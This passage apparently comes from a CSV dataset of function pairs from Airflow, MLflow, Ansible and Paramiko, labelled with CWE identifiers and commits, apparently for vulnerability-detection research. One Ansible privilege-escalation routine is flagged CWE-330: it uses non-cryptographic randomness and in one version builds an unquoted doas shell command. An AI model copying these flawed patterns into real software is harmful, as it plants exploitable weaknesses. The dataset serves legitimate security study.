        )
        pod_ids = {ti_key: {}}

        executor.adopt_launched_task(mock_kube_client, pod=pod, pod_ids=pod_ids)
        mock_kube_client.patch_namespaced_pod.assert_called_once_with(
            body={""metadata"": {""labels"": {""airflow-worker"": ""modified""}}},
            name=""foo"",
            namespace=None,
        )
        assert pod_ids == {}
        assert executor.running == {ti_key}",CWE-703,apache/airflow,589c83b16c86e4346d3134994b0e1a97a814cf31,"def test_adopt_launched_task(self, mock_kube_client):
        executor = self.kubernetes_executor
        executor.scheduler_job_id = ""modified""
        annotations = {
            ""dag_id"": ""dag"",
            ""run_id"": ""run_id"",
            ""task_id"": ""task"",
            ""try_number"": ""1"",
        }
        ti_key = annotations_to_key(annotations)
        pod = k8s.V1Pod(
            metadata=k8s.V1ObjectMeta(name=""foo"", labels={""airflow-worker"": ""bar""}, annotations=annotations)
        )
        pod_ids = {ti_key: {}}

        executor.adopt_launched_task(mock_kube_client, pod=pod, pod_ids=pod_ids)
        assert mock_kube_client.patch_namespaced_pod.call_args[1] == {
            ""body"": {
                ""metadata"": {
                    ""labels"": {""airflow-worker"": ""modified""},
                    ""annotations"": annotations,
                    ""name"": ""foo"",
                }
            },
            ""name"": ""foo"",
            ""namespace"": None,
        }
        assert pod_ids == {}
        assert executor.running == {ti_key}"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/shap/test_log.py,0,"def test_pyfunc_serve_and_score():
    X, y = shap.datasets.boston()
    reg = sklearn.ensemble.RandomForestRegressor(n_estimators=10).fit(X, y)
    model = shap.Explainer(
        reg.predict,
        masker=X,
        algorithm=""permutation"",
        # `link` defaults to `shap.links.identity` which is decorated by `numba.jit` and causes
        # the following error when loading the explainer for serving:
        # ```
        # Exception: The passed link function needs to be callable and have a callable
        # .inverse property!
        # ```
        # As a workaround, use an identify function that's NOT decorated by `numba.jit`.
        link=create_identity_function(),
    )
    artifact_path = ""model""
    with mlflow.start_run():
        mlflow.shap.log_explainer(model, artifact_path)
        model_uri = mlflow.get_artifact_uri(artifact_path)

    resp = pyfunc_serve_and_score_model(
        model_uri,
        data=pd.DataFrame(X[:3]),
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON_SPLIT_ORIENTED,
    )
    scores = pd.read_json(resp.content, orient=""records"").values
    np.testing.assert_allclose(scores, model(X[:3]).values, rtol=100, atol=100)",,mlflow/mlflow,22e69c3bdba7c4af616f6f0ce4e74821dc665b10,"def test_pyfunc_serve_and_score():
    X, y = shap.datasets.boston()
    reg = sklearn.ensemble.RandomForestRegressor(n_estimators=10).fit(X, y)
    model = shap.Explainer(
        reg.predict,
        masker=X,
        algorithm=""permutation"",
        # `link` defaults to `shap.links.identity` which is decorated by `numba.jit` and causes
        # the following error when loading the explainer for serving:
        # ```
        # Exception: The passed link function needs to be callable and have a callable .inverse property!  # noqa
        # ```
        # As a workaround, use an identify function that's NOT decorated by `numba.jit`.
        link=create_identity_function(),
    )
    artifact_path = ""model""
    with mlflow.start_run():
        mlflow.shap.log_explainer(model, artifact_path)
        model_uri = mlflow.get_artifact_uri(artifact_path)

    resp = pyfunc_serve_and_score_model(
        model_uri,
        data=pd.DataFrame(X[:3]),
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON_SPLIT_ORIENTED,
    )
    scores = pd.read_json(resp.content, orient=""records"").values
    np.testing.assert_allclose(scores, model(X[:3]).values, rtol=100, atol=100)"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/play_context.py,1,"def make_become_cmd(self, cmd, executable=None):
        """""" helper function to create privilege escalation commands """"""

        prompt = None
        success_key = None
        self.prompt = None

        if self.become:

            if not executable:
                executable = self.executable

            becomecmd = None
            randbits = ''.join(random.choice(string.ascii_lowercase) for x in range(32))
            success_key = 'BECOME-SUCCESS-%s' % randbits
            success_cmd = shlex_quote('echo %s; %s' % (success_key, cmd))

            if executable:
                command = '%s -c %s' % (executable, success_cmd)
            else:
                command = success_cmd

            # set executable to use for the privilege escalation method, with various overrides
            exe = self.become_exe or getattr(self, '%s_exe' % self.become_method, self.become_method)

            # set flags to use for the privilege escalation method, with various overrides
            flags = self.become_flags or getattr(self, '%s_flags' % self.become_method, '')

            if self.become_method == 'sudo':
                # If we have a password, we run sudo with a randomly-generated
                # prompt set using -p. Otherwise we run it with default -n, which makes
                # it fail if it would have prompted for a password.
                # Cannot rely on -n as it can be removed from defaults, which should be
                # done for older versions of sudo that do not support the option.
                #
                # Passing a quoted compound command to sudo (or sudo -s)
                # directly doesn't work, so we shellquote it with shlex_quote()
                # and pass the quoted string to the user's shell.

                # force quick error if password is required but not supplied, should prevent sudo hangs.
                if self.become_pass:
                    prompt = '[sudo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s %s -p ""%s"" -u %s %s' % (exe, flags.replace('-n', ''), prompt, self.become_user, command)
                else:
                    becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, command)

            elif self.become_method == 'su':

                # passing code ref to examine prompt as simple string comparisson isn't good enough with su
                def detect_su_prompt(b_data):
                    b_password_string = b""|"".join([br'(\w+\'s )?' + x for x in b_SU_PROMPT_LOCALIZATIONS])
                    # Colon or unicode fullwidth colon
                    b_password_string = b_password_string + to_bytes(u' ?(:|：) ?')
                    b_SU_PROMPT_LOCALIZATIONS_RE = re.compile(b_password_string, flags=re.IGNORECASE)
                    return bool(b_SU_PROMPT_LOCALIZATIONS_RE.match(b_data))
                prompt = detect_su_prompt

                becomecmd = '%s %s %s -c %s' % (exe, flags, self.become_user, shlex_quote(command))

            elif self.become_method == 'pbrun':

                prompt = 'Password:'
                becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, success_cmd)

            elif self.become_method == 'ksu':
                def detect_ksu_prompt(b_data):
                    return re.match(b""Kerberos password for .*@.*:"", b_data)

                prompt = detect_ksu_prompt
                becomecmd = '%s %s %s -e %s' % (exe, self.become_user, flags, command)

            elif self.become_method == 'pfexec':

                # No user as it uses it's own exec_attr to figure it out
                becomecmd = '%s %s ""%s""' % (exe, flags, success_cmd)

            elif self.become_method == 'runas':
                # become is handled inside the WinRM connection plugin
                if not self.become_user:
                    raise AnsibleError((""The 'runas' become method requires a username ""
                                        ""(specify with the '--become-user' CLI arg, the 'become_user' keyword, or the 'ansible_become_user' variable)""))
                becomecmd = cmd

            elif self.become_method == 'doas':

                prompt = 'doas (%s@' % self.remote_user
                exe = self.become_exe or 'doas'

                if not self.become_pass:
                    flags += ' -n '

                if self.become_user:
                    flags += ' -u %s ' % self.become_user

                # FIXME: make shell independent
                becomecmd = '%s %s %s -c %s' % (exe, flags, executable, success_cmd)

            elif self.become_method == 'dzdo':

                exe = self.become_exe or 'dzdo'
                if self.become_pass:
                    prompt = '[dzdo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s %s -p %s -u %s %s' % (exe, flags, shlex_quote(prompt), self.become_user, command)
                else:
                    becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, command)

            elif self.become_method == 'pmrun':

                exe = self.become_exe or 'pmrun'

                prompt = 'Enter UPM user password:'
                becomecmd = '%s %s %s' % (exe, flags, shlex_quote(command))

            else:
                raise AnsibleError(""Privilege escalation method not found: %s"" % self.become_method)

            if self.become_pass:
                self.prompt = prompt
            self.success_key = success_key
            return becomecmd

        return cmd",CWE-330,ansible/ansible,be3670f5285a4eebfa5b4947806618cab59d969c,"def make_become_cmd(self, cmd, executable=None):
        """""" helper function to create privilege escalation commands """"""

        prompt = None
        success_key = None
        self.prompt = None

        if self.become:

            if not executable:
                executable = self.executable

            becomecmd = None
            randbits = ''.join(random.choice(string.ascii_lowercase) for x in range(32))
            success_key = 'BECOME-SUCCESS-%s' % randbits
            success_cmd = shlex_quote('echo %s; %s' % (success_key, cmd))

            if executable:
                command = '%s -c %s' % (executable, success_cmd)
            else:
                command = success_cmd

            # set executable to use for the privilege escalation method, with various overrides
            exe = self.become_exe or getattr(self, '%s_exe' % self.become_method, self.become_method)

            # set flags to use for the privilege escalation method, with various overrides
            flags = self.become_flags or getattr(self, '%s_flags' % self.become_method, '')

            if self.become_method == 'sudo':
                # If we have a password, we run sudo with a randomly-generated
                # prompt set using -p. Otherwise we run it with default -n, which makes
                # it fail if it would have prompted for a password.
                # Cannot rely on -n as it can be removed from defaults, which should be
                # done for older versions of sudo that do not support the option.
                #
                # Passing a quoted compound command to sudo (or sudo -s)
                # directly doesn't work, so we shellquote it with shlex_quote()
                # and pass the quoted string to the user's shell.

                # force quick error if password is required but not supplied, should prevent sudo hangs.
                if self.become_pass:
                    prompt = '[sudo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s %s -p ""%s"" -u %s %s' % (exe, flags.replace('-n', ''), prompt, self.become_user, command)
                else:
                    becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, command)

            elif self.become_method == 'su':

                # passing code ref to examine prompt as simple string comparisson isn't good enough with su
                def detect_su_prompt(b_data):
                    b_password_string = b""|"".join([br'(\w+\'s )?' + x for x in b_SU_PROMPT_LOCALIZATIONS])
                    # Colon or unicode fullwidth colon
                    b_password_string = b_password_string + to_bytes(u' ?(:|：) ?')
                    b_SU_PROMPT_LOCALIZATIONS_RE = re.compile(b_password_string, flags=re.IGNORECASE)
                    return bool(b_SU_PROMPT_LOCALIZATIONS_RE.match(b_data))
                prompt = detect_su_prompt

                becomecmd = '%s %s %s -c %s' % (exe, flags, self.become_user, shlex_quote(command))

            elif self.become_method == 'pbrun':

                prompt = 'Password:'
                becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, success_cmd)

            elif self.become_method == 'ksu':
                def detect_ksu_prompt(b_data):
                    return re.match(b""Kerberos password for .*@.*:"", b_data)

                prompt = detect_ksu_prompt
                becomecmd = '%s %s %s -e %s' % (exe, self.become_user, flags, command)

            elif self.become_method == 'pfexec':

                # No user as it uses it's own exec_attr to figure it out
                becomecmd = '%s %s ""%s""' % (exe, flags, success_cmd)

            elif self.become_method == 'runas':
                # become is handled inside the WinRM connection plugin
                if not self.become_user:
                    raise AnsibleError((""The 'runas' become method requires a username ""
                                        ""(specify with the '--become-user' CLI arg, the 'become_user' keyword, or the 'ansible_become_user' variable)""))
                becomecmd = cmd

            elif self.become_method == 'doas':

                prompt = 'doas (%s@' % self.remote_user
                exe = self.become_exe or 'doas'

                if not self.become_pass:
                    flags += ' -n '

                if self.become_user:
                    flags += ' -u %s ' % self.become_user

                # FIXME: make shell independent
                becomecmd = '%s %s echo %s && %s %s env ANSIBLE=true %s' % (exe, flags, success_key, exe, flags, cmd)

            elif self.become_method == 'dzdo':

                exe = self.become_exe or 'dzdo'
                if self.become_pass:
                    prompt = '[dzdo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s %s -p %s -u %s %s' % (exe, flags, shlex_quote(prompt), self.become_user, command)
                else:
                    becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, command)

            elif self.become_method == 'pmrun':

                exe = self.become_exe or 'pmrun'

                prompt = 'Enter UPM user password:'
                becomecmd = '%s %s %s' % (exe, flags, shlex_quote(command))

            else:
                raise AnsibleError(""Privilege escalation method not found: %s"" % self.become_method)

            if self.become_pass:
                self.prompt = prompt
            self.success_key = success_key
            return becomecmd

        return cmd"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/file.py,0,"def read(self, size=None):
        """"""
        Read at most ``size`` bytes from the file (less if we hit the end of the
        file first).  If the ``size`` argument is negative or omitted, read all
        the remaining data in the file.

        .. note::
            ``'b'`` mode flag is ignored (``self.FLAG_BINARY`` in
            ``self._flags``), because SSH treats all files as binary, since we
            have no idea what encoding the file is in, or even if the file is
            text data.

        :param int size: maximum number of bytes to read
        :return:
            data read from the file (as bytes), or an empty string if EOF was
            encountered immediately
        """"""
        if self._closed:
            raise IOError('File is closed')
        if not (self._flags & self.FLAG_READ):
            raise IOError('File is not open for reading')
        if (size is None) or (size < 0):
            # go for broke
            result = self._rbuffer
            self._rbuffer = bytes()
            self._pos += len(result)
            while True:
                try:
                    new_data = self._read(self._DEFAULT_BUFSIZE)
                except EOFError:
                    new_data = None
                if (new_data is None) or (len(new_data) == 0):
                    break
                result += new_data
                self._realpos += len(new_data)
                self._pos += len(new_data)
            return result 
        if size <= len(self._rbuffer):
            result = self._rbuffer[:size]
            self._rbuffer = self._rbuffer[size:]
            self._pos += len(result)
            return result 
        while len(self._rbuffer) < size:
            read_size = size - len(self._rbuffer)
            if self._flags & self.FLAG_BUFFERED:
                read_size = max(self._bufsize, read_size)
            try:
                new_data = self._read(read_size)
            except EOFError:
                new_data = None
            if (new_data is None) or (len(new_data) == 0):
                break
            self._rbuffer += new_data
            self._realpos += len(new_data)
        result = self._rbuffer[:size]
        self._rbuffer = self._rbuffer[size:]
        self._pos += len(result)
        return result",,paramiko/paramiko,c7c1a24e3023a45cf6713e553c176e42a71a6d3d,"def read(self, size=None):
        """"""
        Read at most ``size`` bytes from the file (less if we hit the end of the
        file first).  If the ``size`` argument is negative or omitted, read all
        the remaining data in the file.

        .. note:: 
            ``'b'`` mode flag is ignored (``self.FLAG_BINARY`` in
            ``self._flags``), because SSH treats all files as binary, since we
            have no idea what encoding the file is in, or even if the file is
            text data.

        :param int size: maximum number of bytes to read
        :return:
            data read from the file (as bytes), or an empty string if EOF was
            encountered immediately
        """"""
        if self._closed:
            raise IOError('File is closed')
        if not (self._flags & self.FLAG_READ):
            raise IOError('File is not open for reading')
        if (size is None) or (size < 0):
            # go for broke
            result = self._rbuffer
            self._rbuffer = bytes()
            self._pos += len(result)
            while True:
                try:
                    new_data = self._read(self._DEFAULT_BUFSIZE)
                except EOFError:
                    new_data = None
                if (new_data is None) or (len(new_data) == 0):
                    break
                result += new_data
                self._realpos += len(new_data)
                self._pos += len(new_data)
            return result 
        if size <= len(self._rbuffer):
            result = self._rbuffer[:size]
            self._rbuffer = self._rbuffer[size:]
            self._pos += len(result)
            return result 
        while len(self._rbuffer) < size:
            read_size = size - len(self._rbuffer)
            if self._flags & self.FLAG_BUFFERED:
                read_size = max(self._bufsize, read_size)
            try:
                new_data = self._read(read_size)
            except EOFError:
                new_data = None
            if (new_data is None) or (len(new_data) == 0):
                break
            self._rbuffer += new_data
            self._realpos += len(new_data)
        result = self._rbuffer[:size]
        self._rbuffer = self._rbuffer[size:]
        self._pos += len(result)
        return result"
,UNKNOWN,UNKNOWN,mlflow/models/evaluation/base.py,1,"def evaluate(
    model: Optional[str] = None,
    data=None,
    *,
    model_type: Optional[str] = None,
    targets=None,
    predictions=None,
    dataset_path=None,
    feature_names: Optional[list] = None,
    evaluators=None,
    evaluator_config=None,
    custom_metrics=None,
    extra_metrics=None,
    custom_artifacts=None,
    validation_thresholds=None,
    baseline_model=None,
    env_manager=""local"",
    model_config=None,
    baseline_config=None,
):
    '''
    Evaluate a PyFunc model on the specified dataset using one or more specified ``evaluators``, and
    log resulting metrics & artifacts to MLflow Tracking. Set thresholds on the generated metrics to
    validate model quality. For additional overview information, see
    :ref:`the Model Evaluation documentation <model-evaluation>`.

    Default Evaluator behavior:
     - The default evaluator, which can be invoked with ``evaluators=""default""`` or
       ``evaluators=None``, supports the ``""regressor""`` and ``""classifier""`` model types.
       It generates a variety of model performance metrics, model performance plots, and
       model explanations.

     - For both the ``""regressor""`` and ``""classifier""`` model types, the default evaluator
       generates model summary plots and feature importance plots using
       `SHAP <https://shap.readthedocs.io/en/latest/index.html>`_.

     - For regressor models, the default evaluator additionally logs:
        - **metrics**: example_count, mean_absolute_error, mean_squared_error,
          root_mean_squared_error, sum_on_target, mean_on_target, r2_score, max_error,
          mean_absolute_percentage_error.

     - For binary classifiers, the default evaluator additionally logs:
        - **metrics**: true_negatives, false_positives, false_negatives, true_positives, recall,
          precision, f1_score, accuracy_score, example_count, log_loss, roc_auc,
          precision_recall_auc.
        - **artifacts**: lift curve plot, precision-recall plot, ROC plot.

     - For multiclass classifiers, the default evaluator additionally logs:
        - **metrics**: accuracy_score, example_count, f1_score_micro, f1_score_macro, log_loss
        - **artifacts**: A CSV file for ""per_class_metrics"" (per-class metrics includes
          true_negatives/false_positives/false_negatives/true_positives/recall/precision/roc_auc,
          precision_recall_auc), precision-recall merged curves plot, ROC merged curves plot.

     - For question-answering models, the default evaluator logs:
        - **metrics**: ``exact_match``, ``token_count``, `mean_perplexity`_ (requires `evaluate`_,
          `pytorch`_, `transformers`_), `toxicity_ratio`_ (requires `evaluate`_, `pytorch`_,
          `mean_flesch_kincaid_grade_level`_ (requires `textstat`_).
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in tabular format.

        .. _mean_perplexity:
            https://huggingface.co/spaces/evaluate-metric/perplexity

        .. _toxicity_ratio:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _mean_ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _mean_flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _textstat:
            https://pypi.org/project/textstat

     - For text-summarization models, the default evaluator logs:
        - **metrics**: ``token_count``, `ROUGE`_ (requires `evaluate`_, `nltk`_, and
          `rouge_score`_ to be installed), `mean_perplexity`_ (requires `evaluate`_, `pytorch`_,
          `transformers`_), `toxicity_ratio`_ (requires `evaluate`_, `pytorch`_, `transformers`_),
          `mean_ari_grade_level`_ (requires `textstat`_), `mean_flesch_kincaid_grade_level`_
          (requires `textstat`_).
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in the tabular format.

        .. _ROUGE:
            https://huggingface.co/spaces/evaluate-metric/rouge

        .. _mean_perplexity:
            https://huggingface.co/spaces/evaluate-metric/perplexity

        .. _toxicity_ratio:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _mean_ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _mean_flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _nltk:
            https://pypi.org/project/nltk

        .. _rouge_score:
            https://pypi.org/project/rouge-score

        .. _textstat:
            https://pypi.org/project/textstat

     - For text models, the default evaluator logs:
        - **metrics**: ``token_count``, `mean_perplexity`_ (requires `evaluate`_, `pytorch`_,
          `transformers`_), `toxicity_ratio`_ (requires `evaluate`_, `pytorch`_, `transformers`_),
          `mean_ari_grade_level`_ (requires `textstat`_), `mean_flesch_kincaid_grade_level`_
          (requires `textstat`_).
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in tabular format.

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _mean_perplexity:
            https://huggingface.co/spaces/evaluate-metric/perplexity

        .. _toxicity_ratio:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _mean_ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _mean_flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _textstat:
            https://pypi.org/project/textstat

     - For sklearn models, the default evaluator additionally logs the model's evaluation criterion
       (e.g. mean accuracy for a classifier) computed by `model.score` method.

     - The metrics/artifacts listed above are logged to the active MLflow run.
       If no active run exists, a new MLflow run is created for logging these metrics and
       artifacts. Note that no metrics/artifacts are logged for the ``baseline_model``.

     - Additionally, information about the specified dataset - hash, name (if specified), path
       (if specified), and the UUID of the model that evaluated it - is logged to the
       ``mlflow.datasets`` tag.

     - The available ``evaluator_config`` options for the default evaluator include:
        - **log_model_explainability**: A boolean value specifying whether or not to log model
          explainability insights, default value is True.
        - **explainability_algorithm**: A string to specify the SHAP Explainer algorithm for model
          explainability. Supported algorithm includes: 'exact', 'permutation', 'partition',
          'kernel'.
          If not set, ``shap.Explainer`` is used with the ""auto"" algorithm, which chooses the best
          Explainer based on the model.
        - **explainability_nsamples**: The number of sample rows to use for computing model
          explainability insights. Default value is 2000.
        - **explainability_kernel_link**: The kernel link function used by shap kernal explainer.
          Available values are ""identity"" and ""logit"". Default value is ""identity"".
        - **max_classes_for_multiclass_roc_pr**:
          For multiclass classification tasks, the maximum number of classes for which to log
          the per-class ROC curve and Precision-Recall curve. If the number of classes is
          larger than the configured maximum, these curves are not logged.
        - **metric_prefix**: An optional prefix to prepend to the name of each metric and artifact
          produced during evaluation.
        - **log_metrics_with_dataset_info**: A boolean value specifying whether or not to include
          information about the evaluation dataset in the name of each metric logged to MLflow
          Tracking during evaluation, default value is True.
        - **pos_label**: If specified, the positive label to use when computing classification
          metrics such as precision, recall, f1, etc. for binary classification models. For
          multiclass classification and regression models, this parameter will be ignored.
        - **average**: The averaging method to use when computing classification metrics such as
          precision, recall, f1, etc. for multiclass classification models
          (default: ``'weighted'``). For binary classification and regression models, this
          parameter will be ignored.
        - **sample_weights**: Weights for each sample to apply when computing model performance
          metrics.
        - **col_mapping**: A dictionary mapping column names in the input dataset or output
          predictions to column names used when invoking the evaluation functions.

     - Limitations of evaluation dataset:
        - For classification tasks, dataset labels are used to infer the total number of classes.
        - For binary classification tasks, the negative label value must be 0 or -1 or False, and
          the positive label value must be 1 or True.

     - Limitations of metrics/artifacts computation:
        - For classification tasks, some metric and artifact computations require the model to
          output class probabilities. Currently, for scikit-learn models, the default evaluator
          calls the ``predict_proba`` method on the underlying model to obtain probabilities. For
          other model types, the default evaluator does not compute metrics/artifacts that require
          probability outputs.

     - Limitations of default evaluator logging model explainability insights:
        - The ``shap.Explainer`` ``auto`` algorithm uses the ``Linear`` explainer for linear models
          and the ``Tree`` explainer for tree models. Because SHAP's ``Linear`` and ``Tree``
          explainers do not support multi-class classification, the default evaluator falls back to
          using the ``Exact`` or ``Permutation`` explainers for multi-class classification tasks.
        - Logging model explainability insights is not currently supported for PySpark models.
        - The evaluation dataset label values must be numeric or boolean, all feature values
          must be numeric, and each feature column must only contain scalar values.

     - Limitations when environment restoration is enabled:
        - When environment restoration is enabled for the evaluated model (i.e. a non-local
          ``env_manager`` is specified), the model is loaded as a client that invokes a MLflow
          Model Scoring Server process in an independent Python environment with the model's
          training time dependencies installed. As such, methods like ``predict_proba`` (for
          probability outputs) or ``score`` (computes the evaluation criterian for sklearn models)
          of the model become inaccessible and the default evaluator does not compute metrics or
          artifacts that require those methods.
        - Because the model is an MLflow Model Server process, SHAP explanations are slower to
          compute. As such, model explainaibility is disabled when a non-local ``env_manager``
          specified, unless the ``evaluator_config`` option **log_model_explainability** is
          explicitly set to ``True``.

    :param model: Optional. If specified, it should be one of the following:

                  - A pyfunc model instance

                  - A URI referring to a pyfunc model

                  - A callable function: This function should be able to take in model input and
                    return predictions. It should follow the signature of the
                    :py:func:`predict <mlflow.pyfunc.PyFuncModel.predict>` method. Here's an example
                    of a valid function:

                        model = mlflow.pyfunc.load_model(model_uri)

                        def fn(model_input):
                            return model.predict(model_input)

        If omitted, it indicates a static dataset will be used for evaluation instead of a model.
        In this case, the ``data`` argument must be a Pandas DataFrame or an mlflow PandasDataset
        that contains model outputs, and the ``predictions`` argument must be the name of the
        column in ``data`` that contains model outputs.

    :param data: One of the following:

                 - A numpy array or list of evaluation features, excluding labels.

                 - A Pandas DataFrame containing evaluation features, labels, and optionally model
                   outputs. Model outputs are required to be provided when model is unspecified.
                   If ``feature_names`` argument not specified, all columns except for the label
                   column and model_output column are regarded as feature columns. Otherwise,
                   only column names present in ``feature_names`` are regarded as feature columns.

                 -  A Spark DataFrame containing evaluation features and labels. If
                    ``feature_names`` argument not specified, all columns except for the label
                    column are regarded as feature columns. Otherwise, only column names present in
                    ``feature_names`` are regarded as feature columns. Only the first 10000 rows in
                    the Spark DataFrame will be used as evaluation data.

                 - A :py:class:`mlflow.data.dataset.Dataset` instance containing evaluation
                   features, labels, and optionally model outputs. Model outputs are only supported
                   with a PandasDataset. Model outputs are required when model is unspecified, and
                   should be specified via the ``predictions`` property of the PandasDataset.

    :param targets: If ``data`` is a numpy array or list, a numpy array or list of evaluation
                    labels. If ``data`` is a DataFrame, the string name of a column from ``data``
                    that contains evaluation labels. Required for classifier and regressor models,
                    but optional for question-answering, text-summarization, and text models. If
                    ``data`` is a :py:class:`mlflow.data.dataset.Dataset` that defines targets,
                    then ``targets`` is optional.

    :param predictions: Optional. Only used when ``model`` is not specified and ``data`` is a pandas
                        dataframe. The name of the column in ``data`` that contains model outputs.

    :param model_type: (Optional) A string describing the model type. The default evaluator
                       supports the following model types:

                       - ``'classifier'``
                       - ``'regressor'``
                       - ``'question-answering'``
                       - ``'text-summarization'``
                       - ``'text'``

                       If no ``model_type`` is specified, then you must provide a a list of
                       metrics to compute via the ``extra_metrics`` param.

                       .. note::
                            ``'question-answering'``, ``'text-summarization'``, and ``'text'``
                            are experimental and may be changed or removed in a future release.

    :param dataset_path: (Optional) The path where the data is stored. Must not contain double
                         quotes (``“``). If specified, the path is logged to the ``mlflow.datasets``
                         tag for lineage tracking purposes.

    :param feature_names: (Optional) If the ``data`` argument is a feature data numpy array or list,
                          ``feature_names`` is a list of the feature names for each feature. If
                          ``None``, then the ``feature_names`` are generated using the format
                          ``feature_{feature_index}``. If the ``data`` argument is a Pandas
                          DataFrame or a Spark DataFrame, ``feature_names`` is a list of the names
                          of the feature columns in the DataFrame. If ``None``, then all columns
                          except the label column and the predictions column are regarded as
                          feature columns.

    :param evaluators: The name of the evaluator to use for model evaluation, or a list of
                       evaluator names. If unspecified, all evaluators capable of evaluating the
                       specified model on the specified dataset are used. The default evaluator
                       can be referred to by the name ``""default""``. To see all available
                       evaluators, call :py:func:`mlflow.models.list_evaluators`.

    :param evaluator_config: A dictionary of additional configurations to supply to the evaluator.
                             If multiple evaluators are specified, each configuration should be
                             supplied as a nested dictionary whose key is the evaluator name.

    :param extra_metrics:
        (Optional) A list of :py:class:`EvaluationMetric <mlflow.models.EvaluationMetric>` objects.
        See the `mlflow.metrics` module for more information about the
        builtin metrics and how to define custom metrics

        .. code-block:: python
            :caption: Example usage of custom metrics

            import mlflow
            import numpy as np


            def root_mean_squared_error(eval_df, _builtin_metrics):
                return np.sqrt((np.abs(eval_df[""prediction""] - eval_df[""target""]) ** 2).mean)


            rmse_metric = mlflow.models.make_metric(
                eval_fn=root_mean_squared_error,
                greater_is_better=False,
            )
            mlflow.evaluate(..., extra_metrics=[rmse_metric])

    :param custom_artifacts:
        (Optional) A list of custom artifact functions with the following signature:

        .. code-block:: python

            def custom_artifact(
                eval_df: Union[pandas.Dataframe, pyspark.sql.DataFrame],
                builtin_metrics: Dict[str, float],
                artifacts_dir: str,
            ) -> Dict[str, Any]:
                """"""
                :param eval_df:
                    A Pandas or Spark DataFrame containing ``prediction`` and ``target`` column.
                    The ``prediction`` column contains the predictions made by the model.
                    The ``target`` column contains the corresponding labels to the predictions made
                    on that row.
                :param builtin_metrics:
                    A dictionary containing the metrics calculated by the default evaluator.
                    The keys are the names of the metrics and the values are the scalar values of
                    the metrics. Refer to the DefaultEvaluator behavior section for what metrics
                    will be returned based on the type of model (i.e. classifier or regressor).
                :param artifacts_dir:
                    A temporary directory path that can be used by the custom artifacts function to
                    temporarily store produced artifacts. The directory will be deleted after the
                    artifacts are logged.
                :return:
                    A dictionary that maps artifact names to artifact objects
                    (e.g. a Matplotlib Figure) or to artifact paths within ``artifacts_dir``.
                """"""
                ...

        Object types that artifacts can be represented as:

            - A string uri representing the file path to the artifact. MLflow will infer the type of
              the artifact based on the file extension.
            - A string representation of a JSON object. This will be saved as a .json artifact.
            - Pandas DataFrame. This will be resolved as a CSV artifact.
            - Numpy array. This will be saved as a .npy artifact.
            - Matplotlib Figure. This will be saved as an image artifact. Note that
              ``matplotlib.pyplot.savefig`` is called behind the scene with default configurations.
              To customize, either save the figure with the desired configurations and return its
              file path or define customizations through environment variables in
              ``matplotlib.rcParams``.
            - Other objects will be attempted to be pickled with the default protocol.

        .. code-block:: python
            :caption: Example usage of custom artifacts

            import mlflow
            import matplotlib.pyplot as plt


            def scatter_plot(eval_df, builtin_metrics, artifacts_dir):
                plt.scatter(eval_df[""prediction""], eval_df[""target""])
                plt.xlabel(""Targets"")
                plt.ylabel(""Predictions"")
                plt.title(""Targets vs. Predictions"")
                plt.savefig(os.path.join(artifacts_dir, ""example.png""))
                plt.close()
                return {""pred_target_scatter"": os.path.join(artifacts_dir, ""example.png"")}


            def pred_sample(eval_df, _builtin_metrics, _artifacts_dir):
                return {""pred_sample"": pred_sample.head(10)}


            mlflow.evaluate(..., custom_artifacts=[scatter_plot, pred_sample])

    :param validation_thresholds: (Optional) A dictionary of metric name to
        :py:class:`mlflow.models.MetricThreshold` used for model validation. Each metric name must
        either be the name of a builtin metric or the name of a metric defined in the
        ``extra_metrics`` parameter.

        .. code-block:: python
            :caption: Example of Model Validation

            from mlflow.models import MetricThreshold

            thresholds = {
                ""accuracy_score"": MetricThreshold(
                    # accuracy should be >=0.8
                    threshold=0.8,
                    # accuracy should be at least 5 percent greater than baseline model accuracy
                    min_absolute_change=0.05,
                    # accuracy should be at least 0.05 greater than baseline model accuracy
                    min_relative_change=0.05,
                    greater_is_better=True,
                ),
            }

            with mlflow.start_run():
                mlflow.evaluate(
                    model=your_candidate_model,
                    data,
                    targets,
